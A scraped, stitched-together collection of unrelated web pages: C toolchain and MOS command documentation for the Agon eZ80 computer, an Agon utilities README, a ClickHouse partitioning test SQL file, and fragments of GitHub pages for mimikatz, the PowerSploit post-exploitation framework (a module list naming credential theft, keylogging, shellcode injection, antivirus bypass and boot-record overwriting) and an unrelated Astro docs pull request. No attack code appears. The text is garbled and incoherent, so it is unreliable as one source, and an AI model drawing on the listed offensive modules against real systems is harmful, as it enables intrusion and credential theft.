Only IX register and stack need to be preserved by called functions.

Arguments

Arguments are pushed from last to first corresponding to the C prototype. In eZ80, 3 bytes are always pushed to the stack regardless of the actual size. However, the assembly function must be careful to only use the valid bytes that are pushed. For example, if a short type is used, the upper byte of the value pushed on the stack will contain arbitrary data. This table lists the locations relative to sp from within the called function. Note that sp + [0,2] contains the return address.

Note that eZ80 is little endian - i.e. the least significant byte is stored first.

Returns

This table lists which registers are used for return values from a function. The type’s sign does not affect the registers used, but may affect the value returned. The LSB is located in the register on the far right of the expression, e.g. E:UHL indicates register L stores the LSB.

Standard IO Library

Not ISO compliant!

Consists of the following:

File IO:

Stdin / stdout IO:

putchar(), puts()
getchar(), gets_s()

Formatted output

Formatted input

scanf()
sscanf()

There's some other stuff in here - like stdint and such - but it should mostly match expectations for the normal standard library. Mostly.

`stdio` Redirection

Can redirect output by using freopen() on stdout or stderr:

putchar() - outputs to outchar() unless the output is redirected, in which case outputs to fputc()
puts() - calls putchar()
printf() (and vprintf()) - calls npf_putc_std(), which calls putchar() in nanoprintf.c
fputc() - calls mos_fputc() unless called on stdout when calls outchar() - avoids calling putchar() so that no risk of function call loops

Can redirect input by using freopen() on stdin:

getchar() - calls inchar() to get the character and outchar() to echo the character (even if the output has been redirected). If output has not been re-directed calls fgetc() and does not echo the character.
gets_s() - calls getchar() if input has not been redirected (line are terminated with CR). Callsfgets() of input has been redirected (lines are terminated with CR/LF pair).
scanf() - calls getchar() in uscan.c (doesn't need updating)
fgetc() - calls mos_fgetc() unless called on stdin when calls inchar() and echos with outchar()- avoids calling getchar()so that no risk of function call loops

Requires FILE *, which is a pointer to a file handle returned by fopen and passed to the file IO routines to indicate the file the action is to be performed upon.

Other related files:

stdio.h - normal header files, which defines the various functions and the typedef for FILE

files.c- instantiates the storage for files handles including: stdout, stderr, stdin.

The following standard file handles are defined:

stdout - default output
stderr - default output for error message
stdin - default input

MOS does not implement input / output redirection, so by default these all use the console.

Command Line Processing and Input / Output Redirection

Two options are available for command line processing.

Simple Command Line Processing

This is automatically included if the main function is defined as

int main( int argc, char* argv[] )

the splits the command line up using space as a delimiter. The command line options are available in the argv[] array as normal.

Complex Command Line Processing - for Redirection & Quoting

This is optionally included if the application makefile includes:

LDHAS_ARG_PROCESSING = 1

This supports

MOS Commands

For current documentation on MOS commands, see the Agon Console8 Documentation.

The MOS (machine operating system) provides an interface to the Agon file system and some hardware peripherals, like the mouse. It keeps information on system variables in a large SYSVAR struct that can be accessed on the Z80 side. Generally your C code will declare a pointer to this struct, initialized like so:

static volatile SYSVAR* sv; 
sv = vdp_vdu_init();

For more information see <mos_api.h>.

VDP / VDU Commands

For current documentation on VDU commands, see the Agon Console8 Documentation.

The VDP (video display processor) accepts a text stream from MOS, acting like a text / graphics terminal. The text stream can contain:

Normal text
Escape sequences / commands to control the display and send graphics/sound/etc commands

When results are returned by MOS as a result of sending a command, these are stored in the SYSVAR's and not returned directly in response to the command. The response is asynchronous - to check that a result has been returned:

Commands can be sent by:

putch() - single character (this is not part of the C standard library)
mos_puts() - multi-character string

Both of these output directly to MOS/VDP - note that they are not part of STDIO library and not subject to CR/LF translation or redirection.

Convenience functions for many VDU commands are supplied in AgDev. For example, to change the screen MODE to 3, the C call vdp_mode(3); will send 22,3 as single bytes to the output, equivalent to putch(22); putch(3); For a list of these functions see <vdp_vdu.h>. Additional functions related to keyboard handling are found in <vdp_key.h>.

GitHub - lennart-benschop/agon-utilities: MOS utilities for Agon: copy, view, editor... · GitHub

Wed, 27 May 2026 18:54:07 +0000

agon-utilities

MOS utilities for Agon: copy, view, editor...

These are small utilities that everybody has taken for granted on UNIX, but even on MS-DOS for a long time. But Agon did not have them until now. The project will include an editor some day. All are MOS commands, all are written in Assembly language and all run in 24-bit ADL mode. Parts of the code are based on the repository https://github.com/breakintoprogram/agon-projects

The projects are built with ez80asm (https://github.com/AgonConsole8/agon-ez80asm) and agondev (https://github.com/AgonConsole8/agondev). Under Linux, make sure to have a driectory containing ez80asm and the binary directory of agondev in your path and you can just run make to build the utilities.

All pre-assembled and precompiled binaries are also provided. The loadfont, recode and sort programs, as well as everything belonging to mc, must be in the bin directory and the other binaries in the mos directory. Assumed is Agon Console8 MOS-2.23 or higher and VDP-2.8.0 or higher.

Note: the copy utility has been removed because it is now an internal command in MOS.

comp

Once you copied a file, you want to check whether the copied file is an exact copy. The comp utility compares two files. It tells whether they are the same, at which offset the first difference occurs or whether one file is larger than the other but they are the same up to the length of the smaller file.

Example command line: comp file1.bin file2.bin

The well-known utility from early Unix and also MS-DOS. MOS does not support pipelines, so you cannot pipe the output of the CAT command to it. It can just show a single file and pauses after a screenful has been shown. It reads the screen width and height, so it works well in all three screen modes.

Example command line: more file.txt

memfill

Can be useful to clean the contents of RAM, so you see immediately which memory areas have been touched by your program. memdump is already there in a different respository.

Example command line: memfill &80000 &10000 &ff

font

The command can load the character definitions from a file. The file is a 2048-byte binary file that contains the bitmaps for all characters from 0 to 255, although only chars 32..126 and 128..255 can be used.

Example command: font /fonts/bbcasc-8.bin

Example command that shows the font just loaded:

font /fonts/latin1-8.bin show

Three fonts are included:

bbcasc-8.bin is the binary version of the font loaded on bootup by the vdp-1.02. It was derived from the file agon_font.h in the VDP project. It contains only ASCII characters with the pounds sign at position 0x60.
bbclat-8.bin is the binary version of the font loaded on bootup by the vdp-1.04 or 2.x. It was derived from the file agon_font.h in the VDP project. It contains a complete CP-1252 character set.
latin1-8.bin is an ISO 8859-1 font (Latin1) that I derived from the following github project. The font provided had the bytes bit-reversed compared to what we need, so I changed it to the right format. It does not look pretty, but it's a start. https://github.com/dhepper/font8x8

You can check out https://github.com/epto/epto-fonts The *.font files included in the project contain meta-information, but they start with the bitmap data in a form that the font utility can use. The 8x8 fonts from this set, you can just load with the font utility. It ignores the meta data. Some of them are only ASCII, some of them have code page 437 fonts. This program is superseded by the loadfont and fontctl programs.

loadfont

This program uses the new font commands of VDP-2.8.0. It can load raw binary fonts (like the font program does) and PSF fonts as used by the Linux console.

Example:

loadfont 10 Lat15-Fixed16.psf

The first parameter is a buffer ID, a number in the range 0..65534. Instead we can use the word sys to select the system font. The system font can only be loaded with 8x8 characters, while many font sizes are supported with PSF files. An optional third parameter on the command line specifies a code page. Currently supported code pages include windows code pages CP1250 (Middle and Eastern Europe), CP1251 (Cyrillic), CP1252 (Western Europe), CP1253 (Greek), CP1254 (Turkish), CP1257 (Baltic), all Latin, Greek and Cyrillic character stes from the ISO-8859 series, DOS CP437, Cyillic KOI-8R and KOI8-U and macroman (Old Macintosh).

If a PSF font has a Unicode table, it will be used to place the glyphs of the font at the appropriate code points in the code page. Instead of a code page we can specify none for no translation and upper to load the upper 256 characters of a 512-character PSF font. Note that most PSF fonts with Latin-1 or Windows-1252 support have many of the non-ASCII characters at different positions, therefore the Unicode table will be needed.

Example: loadfont 11 Lat15-terminus20x10.psf cp437

Usable psf fonts can be found here https://www.zap.org.au/projects/console-fonts-zap/ and in the /usr/share/consolefonts directory of a Linux system (gunzip compressed psf files first). Also the terminus-fonts package can be used.

fontctl

This program selects a font, previously loaded by the loadfont command.

Example:

fontctl 11

The parameter is a buffer ID, the same as used with loadfont. The word sys can be used instead to select the system font.

A second parameter show can be used to show all 256 characters of the font. Instead, clear can be used to remove the font and its buffer.

Example:

fontctl 11 show

selects font 11 and shows it.

fontctl 11 clear

clears font 11.

recode

This program converts text files between Unicode and various code pages. Code pages include the same code pages as available for loadfont, plus utf8 and utf16. Apart from the text encoding we can change the end-of-line encoding to CR only (old MAC), LF only (Linux) or CR-LF (DOS, Windows). Files are updated in-place and the old file is saved with a .bak suffix.

Example commands:

recode crlf myfile.txt

This changes the end-of-line characters to CR-LF without changing the character encodings.

recode lf cp1252 utf8 foo.txt

This converts from Windows 1252 to UTF8 and changes the end-of-line characters to LF only.

recode cp1252 latin9 bar.txt

This converts a text file from CP1252 to Latin9 (ISO8859-15) without changing the end-of-line characters.

cal

This is a simple Unix-style calender program. Specify month and year to show a calendar of just one month. Example:

cal 5 2024

shows a calendar of just May 2024. Specify just a year to show the calendar of the whole yar. Example:

cal 2024

Options: -s shows Sunday as the first day of the week (default is Monday).

concat

This program concatenates one or more files to form another file:

Example:

concat prog1.bas prog2.bas >prog.bas

Concatenates prog1.bas and prog2.bas and writes the whole to prog.bas. Comparable to the Unix cat command,

find

This program finds files (in the entire file system) whose name matches a specific pattern.

Example:

find *.c

This will find all files whose name matches the pattern *.c in the whole file system.

You can use the '>' character to redirect the output to a file. Example:

find *.asm >all_asmfiles.txt

grep

This program searches test files for specific strings.

Example:

grep dirlist *.c

This will find all lines containing "dirlist" in all C source files.

You can do a case-insensitive grep using the -i option. It will only consider ASCII letters. You can also enclose the search string in double quotes to search for a string containint spaces"

Example:

grep -i "these few words" *.txt

You can use the '>' character to redirect the output to a file and you can have multiple file names or wildcards. Example:

grep dirlist *.c *.h >results.txt

sort

This program sorts lines in a text file in ASCII-lexigographic order.

Example:

sort myfile.txt

You can use the '>' character to redirect the output to a file. Example:

sort myfile.txt >sorted.txt

THe proghram has the follwoignoptions: -f to sort case-insensitive and -r to sort in reverse order.

wc

This program counts lines, words and characters in one or more files. It uses the options -l, -w and -c to specify that lines words and characters must be counted. If none are specified, all are counted.

Example:

wc -w *.c

Count only words in all C source files

wc readme.txt info.txt

Count lines, words and characters in readme.txt and info.txt

nano

This is an editor with nano-style key bindings.

Example command: nano myfile.txt

The command can take a second parameter to specify the buffer, so larger files can be loaded. Example command when specifying a buffer. This works the same way as for the copy command.

Example command using a buffer: nano myfile.txt &90000

It can take a third parameter to specify the line number on which the cursor must start. Example: nano myfile.txt &90000 231

The editor switches to a 80-column mode (mode 3) if not already in a mode with at least 80 text columns.

Key bindings are nano-style, but not all are implemented (far from).

Implemented key bindings: Control-A, Control-E to go to the start or end of a line, Control-Y and Control-V for page-up and page-down, COntrol-L to redraw the screen with the current line in the centre, Control-G to see a help screen, Control-X to exit, Control-O to save the file, Control-D for forward delete. Control-K to cut current line (repeat to cut block of lines), Control-U to paste And of course the cursor keys, TAB, Backspace and Enter. Control-R for reading and inserting a file, Control-W and Control-Q for search forward and backward.

Different from nano (as nano uses impossible control and alt combinations for these functions): Control-C to copy current line, Control-H to go to a specific line (enter a number). Control-T to insert special characters.

ne

This is an extended editor with largely the same functionality as nano. However, it is not a moslet and it is written in C instead of assembler. It does not take a buffer address parameter, it can just edit large files. Being a C program it is easier to maintain and extend. The current version does not support a line number parameter.

ne myfile.txt

Added functionality compared to nano:

Control-J for justifying paragraph,
COnfig file /bin/ne.cfg can specify line ending conventions and tabstops.

Saving files with CR-LF line endings takes too long, this will be fixed later.

mc

This is the 12AM Commander, a Midnight-commander look-alike. It can only work on MOS 2.2.3 and up. To install it, you must have mc.bin, 12amc.ovl, 12amc.hlp and 12amc.cfg all in the /bin directory. The file 12amc.cfg is a configuration file that can be edited. You can specify viewer and editor commands and specify programs to be run for certain file extensions.

To start the program, just type mc. To exit, simply press F10 or ESC. You will see two directories side by side and you can switch between them with the TAB key. For more information type F1.

Note: the main code of mc resides in 12amc.ovl and this must be loaded and run through mc.bin (not directly via load & run commands for example). The program mc.bin stores a launcher in internal RAM, which can load and execute external programs at address &40000 and later reload and rerun the 12amc.ovl program. This launcher is an important part of the functionality.

MOS · breakintoprogram/agon-docs Wiki · GitHub

Wed, 27 May 2026 18:54:06 +0000

What is the MOS

The MOS is a command line machine operating system, similar to CP/M or DOS, that provides a human interface to the Agon file system.

It also provides an API for file I/O and other common operations for BBC Basic and other third-party applications.

System Requirements

A 32GB or less micro-SD card formatted FAT32

The MOS folder

From version 1.02 of MOS, a mos folder needs to be created in the root of the SD card. This is for any applications marked as MOS extensions that run off the SD card

The autoexec.txt file

If the MOS detects an autoexec.txt file in the root folder of the SD card during cold-boot, it will read the file in, and execute the MOS commands in the file sequentially from top to bottom.

For example, to set keyboard to US, load BBC BASIC from the root folder, change to the test folder, then run BASIC

SET KEYBOARD 1
LOAD bbcbasic
CD test
RUN

The MOS editor

MOS implements a line editor that can also be used by third-party apps like BBC BASIC.

It implements the following functionality:

Cursor keys to navigate within the block of text in the line (UP and DOWN for multi-line edits)
Backspace to delete the character to the left of the current line
Text is inserted at the current cursor position
Escape is used to quit the editor without entering the text
Enter is used to submit the line to the calling application (BBC BASIC, MOS command line, etc)

And from MOS 1.03:

Cursoring left and right off the edge of the screen will wrap the cursor to the adjacent line
Home and End keys will cursor to the start and end of the text being edited

And from MOS 1.03:

Backspace now wraps correctly when backspacing off the left-hand side of the screen
Pressing the UP arrow key when the buffer is empty will retrieve the last entered command
Pressing CTRL+N will switch to paged mode, CTRL+O will switch it off. Screen will pause after scrolling a page. Press SHIFT to continue, or ESC to break out. Paged mode should work with any application including BBC BASIC.

And from MOS 1.04:

Pressing UP and DOWN arrow keys will page through the command history

Soft Boot

Press CTRL+ALT+DEL to soft-boot the Z80 (CTRL+SHIFT+ESC for MOS 1.02 or earlier)

NB:

This assumes that MOS is still talking to the ESP32

MOS Commands

Commands can be abbreviated with a dot, so DELETE myfile and DEL. myfile are equivalent.
Commands are case-insensitive and parameters are space delimited.
In the syntax description, optional parameters are written as <param>
The dot (.) character can be used as a substitution for an optional numeric parameter
Default LOAD and RUN address is set to 0x040000
Numbers are in decimal and can be prefixed by '&' for hexadecimal.
Addresses are 24-bit, unless otherwise specified
- &000000 - &01FFFF: MOS (Flash ROM)
- &040000 - &0BDFFF: User RAM
- &0B0000 - &0B7FFF: Storage for loading MOS star command executables off SD card
- &0BC000 - 0BFFFFF: Global heap and stack
The RUN command checks a header embedded from byte 64 of the executable and can run either Z80 or ADL mode executables
MOS will also search the mos folder on the SD card for any executables, and will run those like built-in MOS commands

CAT

Syntax:*CAT <path> (Aliases include DIR and .)

Directory listing of the current directory.

NB: The path parameter will only work in MOS 1.03 or greater.

CD

Syntax:*CD path

Change current directory

CLS

Syntax: *CLS

Clear the screen

NB: Requires MOS 1.04 RC3 or greater

COPY

Syntax: *COPY filename1 filename2

Create a copy of a file.

NB: Requires MOS 1.03 or greater

CREDITS

Syntax: *CREDITS

Output credits and version numbers for third-party libraries used in the Agon firmware

NB: Requires MOS 1.03 or greater

DELETE

Syntax: *DELETE filename (Aliases include ERASE)

Delete a file or folder (must be empty).

HELP

Syntax: *HELP <command>

Display a list of commands if is not specified
Displays help for a MOS command if is specified

NB: Requires MOS 1.04 RC3 or greater

JMP

Syntax:*JMP addr: Jump to the specified address in memory

LOAD

Syntax: *LOAD filename <addr>

Load a file from the SD card to the specified address. If no parameters are passed, then addr will default to &40000.

MKDIR

Syntax: *MKDIR filename

Create a new folder on the SD card

MOUNT

Syntax: *MOUNT

Remount the MicroSD card - required if you reinsert it without rebooting

RENAME

Syntax: *RENAME filename1 filename2 (Aliases include MOVE)

Rename a file in the same folder

*RENAME autoexec.txt autoexec.bak

Rename a file and move to a different folder (the destination folder must exist)

*RENAME test.bas archive/test.bas

NB: MOVE alias in MOS 1.03 or greater

RUN

Syntax: *RUN <addr>

Call an executable binary loaded in memory. If no parameters are passed, then addr will default to &40000

SAVE

Syntax: *SAVE filename addr size

Save a block of memory to the SD card

SET

Syntax: *SET option value

Set a system option

*SET KEYBOARD n: Set the keyboard layout
*SET CONSOLE n: Set the console mode

Keyboard Layouts

NB: Keyboard layouts 2 to 8 are only available in MOS 1.03

Console Mode

The USB cable to the Agon also provides two-way serial comms; this is how the Arduino IDE programs it. This serial connection can also be used to send data to and from the Agon.

When console mode is on, all character output and keyboard input is echoed to this serial port.

Use case scenarios:

Keyboardless operation - you can place a command to switch it on in the autoexec.txt file.
Using the ZDI debugger - pressing CTRL+Z when in console mode switches on the ZDI debugger (more details to follow).
0: Console mode is off (default)
1: Console mode is on

NB: It is pretty dumb, and does not play nicely with the line editor.

TIME

Syntax:

*TIME
*TIME yyyy mm dd hh mm ss

Set and read the ESP32 real-time clock

NB: Requires MOS 1.03 or greater

TYPE

Syntax: *TYPE <filename>

Display the contents of a file on screen

NB: Requires MOS 1.04 RC3 or greater

VDU

Syntax: *VDU <char1> <char2> ... <charN>

Write a stream of characters to the VDP

NB: Requires MOS 1.03 or greater

AgonConsole8 · GitHub

Wed, 27 May 2026 18:54:05 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

AgonConsole8

README.md

A new era has begun...

The MOS and VDP firmware produced for Agon platform computers under the "Agon Console8" label has always been completely compatible with the Agon Light, Olimex Agon Light 2, the Agon Light Origins Edition, as well as the Agon Console8. The label, however has historically tended to cause some confusion...

The organisation on GitHub has also become the home to various tools for the Agon platform, such as the Agon firmware update utility tool, the agon-ez80asm assembler, and the new Agon dev C/C++ toolchain amongst many others.

To better reflect the nature of the organisation we have therefore decided to rename it to be AgonPlatform.

Popular repositories Loading

agonconsole8.github.io agonconsole8.github.io Public

HTML
.github .github Public

Repositories

Type

Select type

All Public Sources Forks Archived Mirrors Templates

Language

Select language

All HTML

Sort

Select order

Last updated Name Stars

Showing 2 of 2 repositories

agonconsole8.github.io Public

Uh oh!

There was an error while loading. Please reload this page.

AgonConsole8/agonconsole8.github.io’s past year of commit activity

HTML 0 0 0 0 Updated Apr 22, 2025
.github Public

Uh oh!

There was an error while loading. Please reload this page.

AgonConsole8/.github’s past year of commit activity

0 0 0 0 Updated Apr 20, 2025

People

This organization has no public members. You must be a member to see who’s a part of this organization.

Top languages

Loading…

Uh oh!

There was an error while loading. Please reload this page.

Most used topics

Loading…

Uh oh!

There was an error while loading. Please reload this page.

You can’t perform that action at this time.

ClickHouse/tests/queries/0_stateless/00502_custom_partitioning_local.sql at master · ClickHouse/ClickHouse · GitHub

Tue, 26 May 2026 22:55:55 +0000

SELECT '*** Not partitioned ***';

DROP TABLE IF EXISTS not_partitioned;

CREATE TABLE not_partitioned(x UInt8) ENGINE MergeTree ORDER BY x;

INSERT INTO not_partitioned VALUES (1), (2), (3);

INSERT INTO not_partitioned VALUES (4), (5);

SELECT 'Parts before OPTIMIZE:';

OPTIMIZE TABLE not_partitioned PARTITION tuple() FINAL;

SELECT 'Parts after OPTIMIZE:';

SELECT 'Sum before DETACH PARTITION:';

SELECT sum(x) FROM not_partitioned;

ALTER TABLE not_partitioned DETACH PARTITION ID 'all';

SELECT 'Sum after DETACH PARTITION:';

SELECT sum(x) FROM not_partitioned;

SELECT 'system.detached_parts after DETACH PARTITION:';

DROP TABLE not_partitioned;

SELECT '*** Partitioned by week ***';

DROP TABLE IF EXISTS partitioned_by_week;

CREATE TABLE partitioned_by_week(d Date, x UInt8) ENGINE = MergeTree PARTITION BY toMonday(d) ORDER BY x;

-- 2000-01-03 belongs to a different week than 2000-01-01 and 2000-01-02

INSERT INTO partitioned_by_week VALUES ('2000-01-03', 4), ('2000-01-03', 5);

SELECT 'Parts before OPTIMIZE:';

OPTIMIZE TABLE partitioned_by_week PARTITION '2000-01-03' FINAL;

SELECT 'Parts after OPTIMIZE:';

SELECT 'Sum before DROP PARTITION:';

SELECT sum(x) FROM partitioned_by_week;

ALTER TABLE partitioned_by_week DROP PARTITION '1999-12-27';

SELECT 'Sum after DROP PARTITION:';

SELECT sum(x) FROM partitioned_by_week;

DROP TABLE partitioned_by_week;

SELECT '*** Partitioned by a (Date, UInt8) tuple ***';

DROP TABLE IF EXISTS partitioned_by_tuple;

CREATE TABLE partitioned_by_tuple(d Date, x UInt8, y UInt8) ENGINE MergeTree ORDER BY x PARTITION BY (d, x);

SELECT 'Parts before OPTIMIZE:';

OPTIMIZE TABLE partitioned_by_tuple PARTITION ('2000-01-01', 1) FINAL;

OPTIMIZE TABLE partitioned_by_tuple PARTITION ('2000-01-02', 1) FINAL;

SELECT 'Parts after OPTIMIZE:';

SELECT 'Sum before DETACH PARTITION:';

SELECT sum(y) FROM partitioned_by_tuple;

ALTER TABLE partitioned_by_tuple DETACH PARTITION ID '20000101-1';

SELECT 'Sum after DETACH PARTITION:';

SELECT sum(y) FROM partitioned_by_tuple;

DROP TABLE partitioned_by_tuple;

SELECT '*** Partitioned by String ***';

DROP TABLE IF EXISTS partitioned_by_string;

CREATE TABLE partitioned_by_string(s String, x UInt8) ENGINE = MergeTree PARTITION BY s ORDER BY x;

INSERT INTO partitioned_by_string VALUES ('bbb', 4), ('aaa', 5);

SELECT 'Parts before OPTIMIZE:';

OPTIMIZE TABLE partitioned_by_string PARTITION 'aaa' FINAL;

SELECT 'Parts after OPTIMIZE:';

SELECT 'Sum before DROP PARTITION:';

SELECT sum(x) FROM partitioned_by_string;

ALTER TABLE partitioned_by_string DROP PARTITION 'bbb';

SELECT 'Sum after DROP PARTITION:';

SELECT sum(x) FROM partitioned_by_string;

DROP TABLE partitioned_by_string;

SELECT '*** Table without columns with fixed size ***';

DROP TABLE IF EXISTS without_fixed_size_columns;

CREATE TABLE without_fixed_size_columns(s String) ENGINE MergeTree PARTITION BY length(s) ORDER BY s;

SELECT 'Parts:';

SELECT 'Before DROP PARTITION:';

SELECT * FROM without_fixed_size_columns ORDER BY s;

ALTER TABLE without_fixed_size_columns DROP PARTITION 1;

SELECT 'After DROP PARTITION:';

SELECT * FROM without_fixed_size_columns ORDER BY s;

DROP TABLE without_fixed_size_columns;

Roastidio.us in webspace https://github.com/

GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security · GitHub

mimikatz

Quick usage

sekurlsa

kerberos

crypto

vault & lsadump

Build

Synchronize!

Build the solution

ddk2003

Continuous Integration

Licence

Author

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework · GitHub

This project is no longer supported

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:

CodeExecution

Invoke-DllInjection

Invoke-ReflectivePEInjection

Invoke-Shellcode

Invoke-WmiCommand

ScriptModification

Out-EncodedCommand

Out-CompressedDll

Out-EncryptedScript

Remove-Comment

Persistence

New-UserPersistenceOption

New-ElevatedPersistenceOption

Add-Persistence

Install-SSP

Get-SecurityPackages

AntivirusBypass

Find-AVSignature

Exfiltration

Invoke-TokenManipulation

Invoke-CredentialInjection

Invoke-NinjaCopy

Invoke-Mimikatz

Get-Keystrokes

Get-GPPPassword

Get-GPPAutologon

Get-TimedScreenshot

New-VolumeShadowCopy

Get-VolumeShadowCopy

Mount-VolumeShadowCopy

Remove-VolumeShadowCopy

Get-VaultCredential

Out-Minidump

Get-MicrophoneAudio

Mayhem

Set-MasterBootRecord

Set-CriticalProcess

Privesc

PowerUp

Recon

Invoke-Portscan

Get-HttpStatus

Invoke-ReverseDnsLookup

PowerView

Recon\Dictionaries

License

Usage

Contribution Rules

Script Style Guide

Be more explicit about cookie deletion by whitep4nth3r · Pull Request #8476 · withastro/docs · GitHub

vercel Bot commented Jun 10, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

astrobot-houston commented Jun 10, 2024

Uh oh!

astrobot-houston commented Jun 10, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Lunaria Status Overview

Tracked Files

Uh oh!

sarah11918 left a comment

Choose a reason for hiding this comment

`Invoke-DllInjection`

`Invoke-ReflectivePEInjection`

`Invoke-Shellcode`

`Invoke-WmiCommand`

`Out-EncodedCommand`

`Out-CompressedDll`

`Out-EncryptedScript`

`Remove-Comment`

`New-UserPersistenceOption`

`New-ElevatedPersistenceOption`

`Add-Persistence`

`Install-SSP`

`Get-SecurityPackages`

`Find-AVSignature`

`Invoke-TokenManipulation`

`Invoke-CredentialInjection`

`Invoke-NinjaCopy`

`Invoke-Mimikatz`

`Get-Keystrokes`

`Get-GPPPassword`

`Get-GPPAutologon`

`Get-TimedScreenshot`

`New-VolumeShadowCopy`

`Get-VolumeShadowCopy`

`Mount-VolumeShadowCopy`

`Remove-VolumeShadowCopy`

`Get-VaultCredential`

`Out-Minidump`

`Get-MicrophoneAudio`

`Set-MasterBootRecord`

`Set-CriticalProcess`

`PowerUp`

`Invoke-Portscan`

`Get-HttpStatus`

`Invoke-ReverseDnsLookup`

`PowerView`

vercel Bot commented Jun 10, 2024 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

astrobot-houston commented Jun 10, 2024 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

`compile_func`: a fast substitute for `lambdify`

`compile_ode`: to solve ODEs

`compile_jac`: calculating Jacobian